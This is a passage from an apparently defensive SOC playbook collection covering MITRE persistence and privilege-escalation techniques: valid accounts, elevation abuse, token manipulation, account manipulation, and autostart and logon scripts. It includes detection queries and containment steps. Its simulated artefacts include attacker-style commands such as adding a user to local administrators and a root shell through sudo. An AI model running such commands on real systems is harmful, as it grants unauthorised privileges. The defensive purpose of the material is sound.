Step-by-step SOC workflow

Step 1 Validate traffic-signaling persistence

Confirm:

1. Is access triggered only after specific network patterns?
2. Are there no visible listening services by default?
3. Do packet captures show repeated or structured sequences?
4. Are kernel, firewall or socket hooks present?

Decision point

- Legitimate security mechanism → validate configuration
- Malicious traffic signaling → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Port knocking	Packet sequence triggers	Stealth
Socket filters	Kernel/network hooks	Control
Dormant services	No open ports	Evasion
On-demand access	External trigger	Persistence

Step 3 Map behaviour to attacker intent

3A) Stealth Persistence

Indicators

- No always-on services

Attacker intent

- Avoid detection

3B) Controlled Access

Indicators

- Specific network triggers

Attacker intent

- Restrict access to operator

3C) Defense Evasion

Indicators

- Kernel or firewall hooks

Attacker intent

- Bypass host-based monitoring

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - SSH/RDP access after signal
2. Command and Control
 - Network-triggered payload activation
3. Privilege Escalation
 - Root-level access post-trigger
4. Impact
 - Data access or service manipulation

Decision point

- Follow-on detected → escalate to Major Incident IR

Containment actions

Immediate

1. Block suspected signaling IPs and sequences
2. Disable affected network interfaces or hosts
3. Capture traffic for forensic analysis

If traffic signaling persistence confirmed

1. Remove port knocking configurations and socket filters
2. Audit firewall, iptables, nftables and kernel modules
3. Reboot into trusted state if kernel hooks suspected

4. Notify SOC leadership and Network Operations

Eradication and recovery

- Remove malicious packet filters and rules
- Rebuild systems if kernel integrity is compromised
- Harden firewall and IDS/IPS rules
- Enforce monitoring for covert signaling patterns
- Validate no additional backdoors exist

Detection engineering (SIEM ideas)

A) Port knocking detection

```
index=netflow
| stats count by src_ip, dest_port
| where count < threshold
| transaction src_ip maxspan=10s
```

B) Unexpected socket filter activity

```
index=linux
| where event_type="kernel_module_load"
| where module_name NOT IN approved_modules
```

C) Service activation after network trigger

```
index=edr
| where service_start_reason="network_event"
```

Analyst checklist

- Traffic-signaling persistence confirmed
- Sub-technique identified
- Network hooks removed
- Kernel integrity verified
- Incident escalated appropriately

Post-incident improvements

- Treat network behaviour as a persistence trigger, not just C2
- Monitor for structured packet sequences
- Baseline kernel modules and socket filters
- Integrate NDR with host telemetry

- Correlate packet pattern → service activation → access

Playbook 70 (MITRE Persistence): Valid Accounts

Technique: Valid Accounts

Sub-techniques:

- Default Accounts
- Domain Accounts
- Local Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries achieving persistence by maintaining access through legitimate credentials, enabling attackers to:

- Persist without malware, backdoors or autoruns
- Blend completely into normal authentication activity
- Survive reboots, reimaging and cleanup efforts
- Bypass many technical security controls
- Escalate and move laterally using trust relationships

Valid Accounts is the most silent persistence technique the attacker becomes a normal user or admin.

When to trigger this playbook

Trigger this playbook when indicators suggest suspicious or unauthorised use of legitimate credentials, including:

- Logins from unexpected locations or times
- Dormant or default accounts suddenly becoming active
- Accounts retaining access after incidents or offboarding
- Privileged actions without corresponding change requests
- Cloud access without endpoint compromise indicators

Example use case scenario (end-to-end)

Context: SOC observes consistent VPN logins using a valid employee account from an overseas IP after malware removal. The endpoint is clean. Investigation confirms the attacker is persisting solely through stolen credentials.

Attacker objective: Maintain durable, low-noise access indistinguishable from legitimate users.

Defender objective: Invalidate attacker access and restore trust in identity controls.

What it looks like (simulated SOC artefacts)

A) Default Account Abuse

Account=admin
Status=Enabled
LoginTime=03:14 AM
SourceIP=External

B) Domain Account Persistence

User=j.smith
Group=Domain Users
LoginPattern=AfterHours
MFA=Bypassed

C) Local Account Persistence

Host=SERVER01
LocalUser=svc_backup
Privilege=Administrator
CreationDate=Old

D) Cloud Account Abuse

Account=automation@app
Role=Owner
AuthMethod=API Token

E) No Malware Indicators

EDRFindings=None
PersistenceMechanism=Credentials

F) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Valid account abuse with limited privileges

Critical

- Privileged domain or cloud accounts
- Persistence relying entirely on identity

Example severity: Critical

(Identity-based persistence bypassing endpoint controls)

Step-by-step SOC workflow

Step 1 Validate valid-account persistence

Confirm:

1. Is the account legitimate but misused?
2. Does access persist without malware or tasks?
3. Are authentication patterns abnormal for the user?
4. Does the account retain access after remediation?

Decision point

- Legitimate user activity → validate context
- Adversary-controlled valid account → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Default accounts	Unchanged creds	Easy access
Domain accounts	AD trust	Broad reach
Local accounts	Host-level persistence	Stealth
Cloud accounts	API-level access	Scale

Step 3 Map behaviour to attacker intent

3A) Stealth Persistence

Indicators

- No malware artefacts

Attacker intent

- Blend in completely

3B) Durability

Indicators

- Access survives rebuilds

Attacker intent

- Outlast remediation

3C) Lateral Enablement

Indicators

- Valid credentials reused

Attacker intent

- Move freely across environment

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Privilege Escalation
 - Group changes, role assignments
2. Lateral Movement
 - SMB, RDP, SSH, cloud pivots
3. Defense Evasion
 - MFA weakening, token abuse
4. Impact
 - Data access, ransomware staging

Decision point

- Follow-on detected → escalate to Crisis / Identity IR

Containment actions

Immediate

1. Disable suspected accounts and sessions
2. Revoke tokens, cookies and API keys

3. Block suspicious IPs and locations

If valid-account persistence confirmed

1. Preserve authentication logs and tokens
2. Reset passwords and enforce MFA
3. Review group memberships and roles
4. Notify SOC leadership, IAM and Management

Eradication and recovery

- Rotate all affected credentials
- Enforce strong MFA everywhere
- Disable or remove unused/default accounts
- Audit domain, local and cloud access paths
- Monitor aggressively for re-authentication attempts

Detection engineering (SIEM ideas)

A) Login anomaly detection

```
index=auth  
| where auth_result="Success"  
| where geo_location!="Expected"
```

B) Dormant account usage

```
index=auth  
| where last_login > 90d
```

C) Cloud token abuse

```
index=cloud  
| where auth_type IN ("API","Token")  
| where user_behavior!="Baseline"
```

Analyst checklist

- Valid-account persistence confirmed
- Account scope identified
- Credentials rotated
- Access paths audited
- Incident escalated appropriately

- Treat identity as the primary persistence vector
- Enforce MFA and conditional access everywhere
- Remove default and unused accounts
- Monitor behaviour, not just authentication success
- Correlate login → privilege → lateral movement

PRIVILEGE ESCALATION

Privilege Escalation is the stage where attackers attempt to gain higher-level permissions than those initially obtained, such as moving from a standard user to an administrator or system-level account. After establishing a foothold, adversaries exploit misconfigurations, software vulnerabilities, weak permissions or credential reuse to expand their control over systems and resources. This phase is pivotal because elevated privileges enable attackers to disable security controls, access sensitive data and move laterally with fewer restrictions. For SOC teams, early detection of privilege escalation is critical, as stopping it can prevent attackers from gaining full control of the environment and significantly limit the scope and severity of the incident.

Playbook 71 (MITRE Privilege Escalation): Abuse Elevation Control Mechanism

Technique: Abuse Elevation Control Mechanism

Sub-techniques:

- Setuid and Setgid
- Bypass User Account Control
- Sudo and Sudo Caching
- Elevated Execution with Prompt
- Temporary Elevated Cloud Access
- TCC Manipulation

Purpose

Detect, investigate and respond to privilege escalation achieved by abusing legitimate elevation mechanisms, enabling attackers to:

- Gain administrator/root privileges without exploits
- Abuse trusted workflows designed for usability
- Blend escalation into normal user behaviour
- Escalate privileges repeatedly and reliably
- Transition quickly from initial access to full control

Elevation control abuse is extremely common in real intrusions because it relies on misconfiguration, user trust and policy gaps rather than vulnerabilities.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or suspicious privilege elevation, including:

- Commands executing as root/SYSTEM without exploits
- Legitimate elevation prompts used outside business context
- Repeated sudo success without password entry
- Cloud roles temporarily elevated without approval
- macOS privacy controls bypassed or weakened
- Privilege escalation occurring immediately after initial access

Example use case scenario (end-to-end)

Context: SOC detects a standard user account executing backup commands as root on Linux and modifying system files. No exploit alerts are triggered. Investigation reveals sudo caching abuse and a misconfigured Setuid binary allowing privilege escalation.

Attacker objective: Gain full administrative control using built-in elevation paths.

Defender objective: Identify abused elevation controls, revoke access and restore least-privilege enforcement.

What it looks like (simulated SOC artefacts)

A) Setuid Binary Abuse

```
-rwsr-xr-x 1 root root /usr/bin/backup-helper  
executed_by=user01  
result=uid=0(root)
```

B) UAC Bypass (Windows)

```
process=eventvwr.exe  
parent=explorer.exe  
child=powershell.exe  
integrity=High
```

C) Sudo Caching Abuse

```
user=user01  
command=sudo /bin/bash  
password_prompt=not_required
```

D) Elevated Execution with Prompt

```
process=installer.exe  
prompt=Elevation Requested  
user_action=Approved  
child_process=cmd.exe
```

E) Temporary Cloud Privilege Elevation

```
platform=Cloud  
action=ActivateRole  
role=GlobalAdmin  
duration=1h  
user=compromised_user@example.my
```

F) TCC Manipulation (macOS)

```
TCC.db modified
```

service=SystemPolicyAllFiles
app=Terminal
access=granted

Severity decision (SOC)

Low

- Elevation approved and documented
- Matches maintenance or admin activity

Medium

- Elevation undocumented
- Limited scope, no follow-on activity

High / Critical

- Privilege escalation abused post-compromise
- Root/SYSTEM or cloud admin access obtained
- Lateral movement or persistence follows

Example severity: High

(Sudo abuse + root shell + system modification)

Step-by-step SOC workflow

Step 1 Validate elevation legitimacy

Confirm:

1. Which elevation mechanism was used?
2. Was elevation expected for this user and time?
3. Did elevation occur immediately after suspicious access?
4. Does it violate least-privilege principles?

Decision point

- Legitimate admin activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify elevation vector and scope

Mechanism	Evidence	Attacker value
-----------	----------	----------------

Setuid / Setgid	Root-owned binaries	Instant root
UAC bypass	Auto-elevated apps	SYSTEM execution
Sudo caching	No password required	Silent escalation
Elevation prompt	User trust abuse	Social engineering
Cloud elevation	Time-bound admin	Tenant control
TCC manipulation	Privacy bypass	Data access

Step 3 Map behaviour to attacker intent

3A) Rapid Privilege Gain

Indicators

- No exploit usage
- Built-in elevation paths

Attacker intent

- Fast escalation with low detection risk

3B) Defense Evasion

Indicators

- Legitimate prompts and tools
- No vulnerability alerts

Attacker intent

- Avoid exploit detection

3C) Expansion of Control

Indicators

- Admin rights followed by system changes
- Cloud role elevation

Attacker intent

- Prepare for persistence and impact

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, tasks, registry, accounts
2. Credential Access
 - LSASS, keychains, secrets
3. Lateral Movement
 - Admin access reuse
4. Impact
 - Ransomware, data theft, sabotage

Decision point

- Evidence found → escalate to Incident Response

Containment actions

Immediate

1. Revoke elevated privileges immediately
2. Disable abused elevation paths
3. Terminate elevated sessions

If escalation confirmed

1. Reset affected user credentials
2. Remove Setuid / sudo misconfigurations
3. Revoke temporary cloud roles
4. Isolate host if system integrity is compromised

Eradication and recovery

- Restore least-privilege configurations
- Fix sudoers, UAC and policy settings
- Reset TCC and privacy databases (macOS)
- Audit elevated actions performed
- Reimage systems if integrity is uncertain

Detection engineering (SIEM ideas)

A) Setuid execution monitoring

index=os

| where file_permission LIKE "%s%"

| where executed_by!="root"

B) UAC bypass patterns

index=edr

| where parent_process="explorer.exe"

| where child_integrity="High"

C) Sudo without password

index=linux

| where command LIKE "sudo%"

| where password_prompt="false"

D) Temporary cloud role activation

index=cloud

| where action="ActivateRole"

Analyst checklist

- Elevation mechanism identified
- Abuse confirmed or ruled out
- Privileges revoked
- Configurations hardened
- Monitoring enhanced

Post-incident improvements

- Enforce strict least-privilege policies
- Audit Setuid, sudoers and UAC settings regularly
- Monitor cloud privilege elevation as Critical alerts
- Restrict auto-elevating binaries
- Include elevation-abuse scenarios in SOC drills

Playbook 72 (MITRE Privilege Escalation): Access Token Manipulation

Technique: Access Token Manipulation

Sub-techniques:

- Token Impersonation / Theft
- Create Process with Token
- Make and Impersonate Token
- Parent PID Spoofing
- SID-History Injection

Purpose

Detect, investigate and respond to privilege escalation achieved by abusing Windows access tokens, enabling attackers to:

- Assume the identity of higher-privileged users or services
- Execute processes as SYSTEM or domain admins without credentials
- Bypass authentication controls entirely
- Blend malicious activity into legitimate security contexts
- Escalate privileges without exploits or password dumping

Access Token Manipulation is highly stealthy because actions appear to come from legitimate identities.

When to trigger this playbook

Trigger this playbook when indicators suggest identity misuse at the OS security context level, including:

- Processes running as SYSTEM without expected parent chain
- Privilege escalation without password, exploit or UAC activity
- Lateral movement without authentication logs
- Unusual token privileges (SeDebugPrivilege, SeImpersonatePrivilege)
- Admin-level actions performed by low-privilege users
- Discrepancies between logon events and process ownership

Example use case scenario (end-to-end)

Context: SOC detects cmd.exe executing as SYSTEM on a workstation, launched by a user process. No UAC prompts, no credential dumping, no exploits detected. Investigation reveals token impersonation via SeImpersonatePrivilege and process creation using a stolen token.

Attacker objective: Escalate privileges silently by hijacking trusted security tokens.

Defender objective: Identify token abuse, terminate elevated execution and restore security boundaries.

What it looks like (simulated SOC artefacts)

A) Token Impersonation

```
process=exploit.exe  
privilege=SeImpersonatePrivilege  
impersonated_token=NT AUTHORITY\SYSTEM
```

B) Create Process with Token

```
source_process=svchost.exe  
new_process=cmd.exe  
token_owner=SYSTEM  
creation_method=CreateProcessWithTokenW
```

C) Make and Impersonate Token

```
action=LogonUser  
logon_type=NewCredentials  
impersonation=enabled
```

D) Parent PID Spoofing

```
process=cmd.exe  
reported_parent=explorer.exe  
actual_launcher=malware.exe
```

E) SID-History Injection

```
user=corp\user01  
SIDHistory=corp\Domain Admins  
effective_privilege=DomainAdmin
```

Severity decision (SOC)

Low

- Token usage matches documented service behaviour
- No privilege escalation observed

Medium

- Token manipulation detected
- Limited scope, no follow-on actions

High / Critical

- SYSTEM or Domain Admin access achieved
- Token abuse used for persistence or lateral movement
- Authentication bypass confirmed

Example severity: Critical

(Token impersonation + SYSTEM shell + credential access)

Step-by-step SOC workflow

Step 1 Validate token usage legitimacy

Confirm:

1. Which token privilege was used (SeImpersonate, SeAssignPrimaryToken)?
2. Is the process expected to impersonate other identities?
3. Does process ownership align with logon events?
4. Is token usage documented and approved?

Decision point

- Legitimate service behaviour → document and monitor
- Unauthorised token manipulation → continue investigation immediately

Step 2 Identify token manipulation vector and scope

Sub-technique	Evidence	Attacker value
Token impersonation	SYSTEM token reuse	Instant elevation
Create process with token	SYSTEM child process	Privileged execution
Make & impersonate token	Fake logon context	Auth bypass
Parent PID spoofing	False process lineage	Detection evasion
SID-History injection	Group inheritance	Domain-level access

Step 3 Map behaviour to attacker intent

3A) Authentication Bypass

Indicators

- No password or MFA usage
- Privileged execution occurs instantly

Attacker intent

- Skip identity controls

3B) Stealth Privilege Escalation

Indicators

- Legitimate token contexts
- Minimal logs

Attacker intent

- Avoid alerts and forensics

3C) Domain or SYSTEM Control

Indicators

- SID-History abuse
- Domain Admin rights

Attacker intent

- Full environment control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS dumping, token cloning
2. Lateral Movement
 - SMB, WinRM, RDP without auth logs
3. Persistence
 - Services, scheduled tasks as SYSTEM
4. Impact
 - Ransomware, AD manipulation

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Terminate suspicious SYSTEM processes
2. Revoke SeImpersonatePrivilege where not required
3. Isolate affected host

If escalation confirmed

1. Reset credentials associated with abused tokens
2. Remove SID-History entries
3. Disable vulnerable services or privileges
4. Block further process creation using stolen tokens

Eradication and recovery

- Patch OS and services enabling token abuse
- Remove unnecessary token privileges
- Restore correct group memberships
- Reimage system if token integrity is uncertain
- Validate clean token behaviour post-reboot

Detection engineering (SIEM ideas)

A) SYSTEM process spawned by non-SYSTEM parent

index=edr
| where child_user="SYSTEM" AND parent_user!="SYSTEM"

B) Token privilege abuse

index=windows
| where privilege IN ("SeImpersonatePrivilege","SeAssignPrimaryToken")

C) Parent PID spoofing detection

index=edr
| where reported_parent != actual_parent

D) SID-History modification

index=identity
| where attribute="SIDHistory"

Analyst checklist

- Token abuse identified
- Elevated processes terminated
- Privileges corrected
- Domain integrity validated
- Monitoring enhanced

Post-incident improvements

- Restrict SeImpersonate and related privileges
- Monitor token usage as Tier-0 escalation signals
- Audit SID-History regularly
- Correlate logon events with process ownership
- Include token abuse in privilege-escalation simulations

Playbook 73 (MITRE Privilege Escalation): Account Manipulation

Technique: Account Manipulation

Sub-techniques:

- Additional Cloud Credentials
- Additional Email Delegate Permissions
- Additional Cloud Roles
- SSH Authorized Keys
- Device Registration
- Additional Container Cluster Roles
- Additional Local or Domain Groups

Purpose

Detect, investigate and respond to adversaries escalating privileges by modifying accounts, roles and trust relationships, enabling attackers to:

- Elevate access without exploiting software vulnerabilities
- Convert initial footholds into administrative control
- Establish durable, identity-based privilege escalation
- Bypass endpoint and exploit-focused detections
- Blend privilege escalation into legitimate identity operations

Account Manipulation is privilege escalation through trust abuse attackers don't break systems, they reassign authority.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised changes to account privileges or trust relationships, including:

- New roles, group memberships or credentials added unexpectedly
- Users gaining admin capabilities without tickets or approvals
- SSH access appearing without corresponding key management events
- Cloud or container roles expanding suddenly
- Privilege escalation occurring without exploit telemetry

Example use case scenario (end-to-end)

Context: SOC detects a standard user account performing cloud administrative actions. Audit logs show the user was silently added to an Owner role via an API call shortly after compromise.

Attacker objective: Achieve high-privilege access using identity controls, avoiding exploit-based detection.

Defender objective: Revoke unauthorised privileges and restore least-privilege enforcement.

What it looks like (simulated SOC artefacts)

A) Additional Cloud Credentials

Account=user@app
Credential=New API Token
Creator=Unknown

B) Email Delegate Permissions

Mailbox=ceo@company.com
Delegate=it.support@company.com
Access=FullAccess

C) Additional Cloud Roles

User=j.doe
Role=GlobalAdmin
AddedVia=GraphAPI

D) SSH Authorized Keys

User=root
File=~/.ssh/authorized_keys
KeyFingerprint=attacker_key

E) Device Registration

Device=Unknown-Laptop
RegisteredTo=AzureAD
Trust=Enabled

F) Container Cluster Roles

Cluster=prod-k8s
Role=cluster-admin
Subject=service-account

G) Local / Domain Group Membership

User=svc_ops

Group=Domain Admins

H) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Privilege escalation limited to a single non-critical system

Critical

- Domain, cloud or cluster-wide administrative privileges
- Identity-based escalation enabling full environment control

Example severity: Critical

(Privilege escalation via identity and role manipulation)

Step-by-step SOC workflow

Step 1 Validate account-based privilege escalation

Confirm:

1. Were new privileges granted without authorisation?
2. Did the account gain rights beyond its normal role?
3. Is there no exploit or binary-based escalation evidence?
4. Does escalation persist across sessions and reboots?

Decision point

- Legitimate admin action → validate change management
- Malicious account manipulation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Cloud credentials	API tokens	Stealth admin
Email delegation	Mailbox access	Executive visibility

Cloud roles	IAM escalation	Full control
SSH keys	Passwordless root	Persistence
Device registration	Trusted device	MFA bypass
Container roles	Cluster-admin	Workload control
Local/domain groups	Admin groups	Lateral movement

Step 3 Map behaviour to attacker intent

3A) Silent Privilege Escalation

Indicators

- No exploit telemetry

Attacker intent

- Avoid detection

3B) Durability

Indicators

- Privileges persist across sessions

Attacker intent

- Long-term control

3C) Environment Dominance

Indicators

- Domain, cloud or cluster admin

Attacker intent

- Total operational control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement

- RDP, SSH, SMB, cloud pivots

2. **Credential Access**

- Token harvesting, secret dumping

3. **Defense Evasion**

- MFA weakening, policy changes

4. **Impact**

- Ransomware, data exfiltration, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Identity IR

Containment actions

Immediate

1. Revoke unauthorised roles, groups and credentials
2. Disable affected accounts temporarily
3. Block attacker IPs, tokens and sessions

If account manipulation confirmed

1. Preserve IAM, AD, SSH and cluster audit logs
2. Identify how the attacker gained permission to modify accounts
3. Notify SOC leadership, IAM, Cloud and Platform teams
4. Assume **identity plane compromise** until proven otherwise

Eradication and recovery

- Remove all unauthorised privileges and credentials
- Rotate affected passwords, keys and tokens
- Re-enrol trusted devices properly
- Rebuild least-privilege roles and group memberships
- Monitor aggressively for re-escalation attempts

Detection engineering (SIEM ideas)

A) Privilege change detection

index=iam OR index=ad

| where action IN ("add_role","add_group","add_delegate","add_key")

B) Cloud admin role assignment

index=cloud

| where role IN ("Owner","GlobalAdmin","cluster-admin")

C) SSH key changes

index=linux

| where file_path LIKE "%.ssh/authorized_keys"

Analyst checklist

- Account-based privilege escalation confirmed
- Sub-technique identified
- Privileges revoked
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat identity changes as potential privilege escalation
- Enforce approval workflows for role and group changes
- Monitor SSH key and device registration events
- Apply conditional access and just-in-time privileges
- Correlate account change → privilege → lateral movement

Playbook 74 (MITRE Privilege Escalation): Boot or Logon Autostart Execution

Technique: Boot or Logon Autostart Execution

Sub-techniques:

- Registry Run Keys / Startup Folder
- Authentication Package
- Time Providers
- Winlogon Helper DLL
- Security Support Provider
- Kernel Modules and Extensions
- Re-opened Applications
- LSASS Driver
- Shortcut Modification
- Port Monitors
- Print Processors
- XDG Autostart Entries
- Active Setup
- Login Items

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing system autostart mechanisms that execute at boot or logon, enabling attackers to:

- Execute malicious code with SYSTEM or elevated context
- Hijack trusted authentication and logon components
- Achieve privilege escalation without exploiting binaries
- Blend into legitimate OS startup behaviour
- Persist and escalate simultaneously

Boot or Logon Autostart Execution is privilege escalation through execution timing attackers ensure their code runs before users, protections or controls fully initialise.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised autostart components executing with elevated privileges, including:

- SYSTEM-level processes executing at boot without services
- Authentication-related DLLs modified or newly introduced
- Privilege escalation without exploit telemetry
- Logon-time execution tied to system components
- Persistence that also results in privilege gain

Example use case scenario (end-to-end)

Context: SOC observes a user-level malware suddenly executing as SYSTEM after reboot. No exploit or token theft is detected. Registry analysis reveals a Winlogon Helper DLL configured to load a malicious binary during logon.

Attacker objective: Escalate from user context to SYSTEM by hijacking trusted boot/logon execution paths.

Defender objective: Remove autostart escalation mechanisms and restore trusted boot execution.

What it looks like (simulated SOC artefacts)

A) Registry Run Key (SYSTEM Context)

Key=HKLM\Software\Microsoft\Windows\CurrentVersion\Run
Value=Updater
Command=C:\ProgramData\sysupdate.exe

B) Authentication Package

Registry=HKLM\SYSTEM\CCS\Control\Lsa
AuthPackage=evil_auth.dll

C) Time Provider Abuse

Provider=TimeSync
DLL=timesvc_ext.dll

D) Winlogon Helper DLL

Key=HKLM\...\Winlogon
Value=Userinit
DLL=winlogon_ext.dll

E) Security Support Provider

SSP=evilssp.dll
LoadedBy=LSASS

F) Kernel Module

Module=maldrv.sys

LoadTime=Boot
Privilege=Kernel

G) Re-opened Applications

Application=cmd.exe
ReopenedOnLogon=True

H) LSASS Driver

Driver=lsass_ext.sys
Hook=CredentialValidation

I) Shortcut Modification

Shortcut=Startup\update.lnk
Target=powershell.exe -enc ...

J) Port Monitor

Monitor=EvilPort.dll
Context=SYSTEM

K) Print Processor

Processor=PrintProc.dll
Trigger=PrintJob

L) XDG Autostart (Linux)

File=~/.config/autostart/update.desktop
Exec=/usr/bin/sudo backdoor

M) Active Setup

Key=HKLM\...\Active Setup\Installed Components
StubPath=C:\ProgramData\setup.exe

N) Login Items (macOS)

Item=Updater.app
RunAtLogin=True

O) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Autostart abuse resulting in limited privilege elevation

Critical

- SYSTEM, kernel or authentication-path privilege escalation
- Autostart tied to credential theft or lateral movement

Example severity: Critical

(Privilege escalation via trusted boot/logon mechanisms)

Step-by-step SOC workflow

Step 1 Validate autostart-based privilege escalation

Confirm:

1. Does execution occur at boot or logon?
2. Is code running with higher privileges than the attacker initially had?
3. Is the autostart mechanism normally trusted by the OS?
4. Is there no exploit-based escalation evidence?

Decision point

- Legitimate startup configuration → validate approval
- Malicious autostart escalation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Run keys / startup	SYSTEM execution	Simplicity
Auth packages / SSP	Credential interception	Deep trust
Time providers	Early execution	Stealth
Winlogon helpers	Logon hijack	Reliability
Kernel modules	Ring-0 access	Maximum control
LSASS drivers	Credential control	Total compromise
Print/port monitors	SYSTEM context	Abuse of legacy paths
Active Setup	Per-user escalation	Spread
Login items / XDG	Cross-platform	Consistency

Step 3 Map behaviour to attacker intent

3A) Privilege Escalation Without Exploits

Indicators

- No exploit artifacts

Attacker intent

- Avoid exploit detection

3B) Trust Subversion

Indicators

- Abuse of authentication and boot components

Attacker intent

- Execute as trusted system code

3C) Persistence + Escalation

Indicators

- Survives reboot and elevates

Attacker intent

- Durable high-privilege foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, SSP, PAM abuse
2. Lateral Movement
 - SYSTEM-level network access
3. Defense Evasion
 - Kernel or log tampering
4. Impact
 - Ransomware, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected systems
2. Disable or remove malicious autostart entries
3. Prevent further boots without containment if kernel-level

If autostart privilege escalation confirmed

1. Preserve registry, drivers and startup artefacts
2. Identify initial write access vector
3. Notify SOC leadership, OS platform owners and management
4. Assume SYSTEM-level compromise

Eradication and recovery

- Remove all unauthorised autostart components
- Restore trusted boot and logon configurations
- Rebuild systems if kernel or LSASS tampering occurred
- Rotate credentials exposed during escalation
- Enforce strict startup integrity controls

Detection engineering (SIEM ideas)

A) Autostart modification detection

```
index=windows  
| where event_type IN ("registry_add","registry_modify")  
| where registry_path IN ("Run","Winlogon","Lsa","Active Setup")
```

B) Boot-time privileged execution

```
index=edr  
| where process_start_time < system_uptime + 60  
| where privilege="SYSTEM"
```

C) Driver or kernel module load

```
index=windows OR index=linux
```


| where event_type="driver_load"
| where signer!="Trusted"

Analyst checklist

- Autostart privilege escalation confirmed
- Sub-technique identified
- Elevated execution paths removed
- Credentials reviewed and rotated
- Incident escalated appropriately

Post-incident improvements

- Treat boot and logon paths as privilege escalation surfaces
- Monitor all authentication-related startup components
- Enforce driver signing and kernel protections
- Baseline approved autostart entries
- Correlate startup modification → privilege change → execution

Playbook 75 (MITRE Privilege Escalation): Boot or Logon Initialization Scripts

Technique: Boot or Logon Initialization Scripts

Sub-techniques:

- Logon Script (Windows)
- Login Hook
- Network Logon Script
- RC Scripts
- Startup Items

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing scripts that execute during system boot or user logon, enabling attackers to:

- Execute malicious logic automatically with elevated or inherited privileges
- Abuse trusted administrative scripting paths
- Escalate privileges without exploiting binaries
- Blend into legitimate IT automation
- Achieve persistence and escalation simultaneously

Boot or Logon Initialization Scripts represent privilege escalation through trusted automation attackers ride along with scripts administrators already expect to run.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or malicious execution of boot/logon scripts, including:

- Elevated execution immediately after logon or boot
- Script execution without corresponding change records
- SYSTEM or root context gained without exploit telemetry
- Script-based execution tied to authentication events
- Privilege escalation recurring after reboot or logoff

Example use case scenario (end-to-end)

Context: SOC observes a standard domain user gaining local administrator privileges immediately after logon. No exploit or token abuse is detected. Review of Group Policy reveals a modified logon script executing net localgroup administrators user /add.

Attacker objective: Escalate privileges quietly and reliably using trusted logon automation.

Defender objective: Remove malicious script execution and restore logon integrity.

What it looks like (simulated SOC artefacts)

A) Windows Logon Script

GPO=UserLogonScript
Script=logon.bat
Command=net localgroup administrators user /add

B) Login Hook (macOS)

File=/Library/Preferences/com.apple.loginwindow.plist
Hook=LoginHook
Script=/usr/local/bin/update.sh

C) Network Logon Script

Path=\\DC01\\NETLOGON\\login.ps1
ModifiedBy=Unknown
ExecContext=Domain User

D) RC Script (Linux)

File=/etc/rc.local
Command=/usr/bin/sudo /usr/bin/backdoor

E) Startup Items

Location=/etc/init.d/update
RunLevel=Default
Privilege=Root

F) Privilege Escalation Result

User=jsmith
NewGroup=Administrators

G) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Script-based escalation limited to a single host

Critical

- Domain, fleet-wide or root/SYSTEM privilege escalation
- Abuse of centrally managed scripts (GPO, NETLOGON, init)

Example severity: Critical

(Privilege escalation via trusted logon automation)

Step-by-step SOC workflow

Step 1 Validate script-based privilege escalation

Confirm:

1. Does execution occur during boot or logon?
2. Does the script run with higher privileges than the user?
3. Is the script modified or newly introduced?
4. Is there no exploit-based escalation evidence?

Decision point

- Legitimate admin script → validate change control
- Malicious initialization script → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Windows logon scripts	GPO abuse	Domain scale
Login hooks	macOS root execution	Stealth
Network logon scripts	NETLOGON tampering	Lateral reach
RC scripts	Boot-time root exec	Reliability
Startup items	Persistent elevation	Simplicity

Step 3 Map behaviour to attacker intent

3A) Exploitless Privilege Escalation

Indicators

- No crash, exploit or shellcode artefacts

Attacker intent

- Avoid exploit detection

3B) Trust Abuse

Indicators

- Scripts normally owned by IT

Attacker intent

- Blend into administration

3C) Persistence + Elevation

Indicators

- Escalation repeats after reboot

Attacker intent

- Durable elevated foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychain, shadow files
2. Lateral Movement
 - SMB, SSH, RDP using new privileges
3. Defense Evasion
 - Script cleanup or obfuscation
4. Impact
 - Ransomware staging, sabotage

Decision point

- Follow-on detected → escalate to Major / Executive IR

Containment actions

Immediate

1. Disable affected scripts and GPOs
2. Isolate impacted systems if escalation succeeded
3. Block further logons if domain-wide

If script-based escalation confirmed

1. Preserve script files and policy versions for forensics
2. Identify how write access to scripts was obtained
3. Notify SOC leadership, AD/IAM, Linux/macOS platform teams
4. Assume trust boundary compromise

Eradication and recovery

- Remove malicious commands from scripts
- Restore scripts from known-good baselines
- Rotate credentials affected by escalation
- Restrict script write permissions
- Enforce script signing and integrity checks

Detection engineering (SIEM ideas)

A) Logon script modification

index=ad OR index=windows
| where object_modified IN ("NETLOGON","GPO","logon script")

B) Elevated execution after logon

index=edr
| where event="process_start"
| where parent_event="logon"
| where privilege IN ("SYSTEM","root")

C) RC or init script changes

index=linux
| where file_path IN ("/etc/rc.local","/etc/init.d")

Analyst checklist

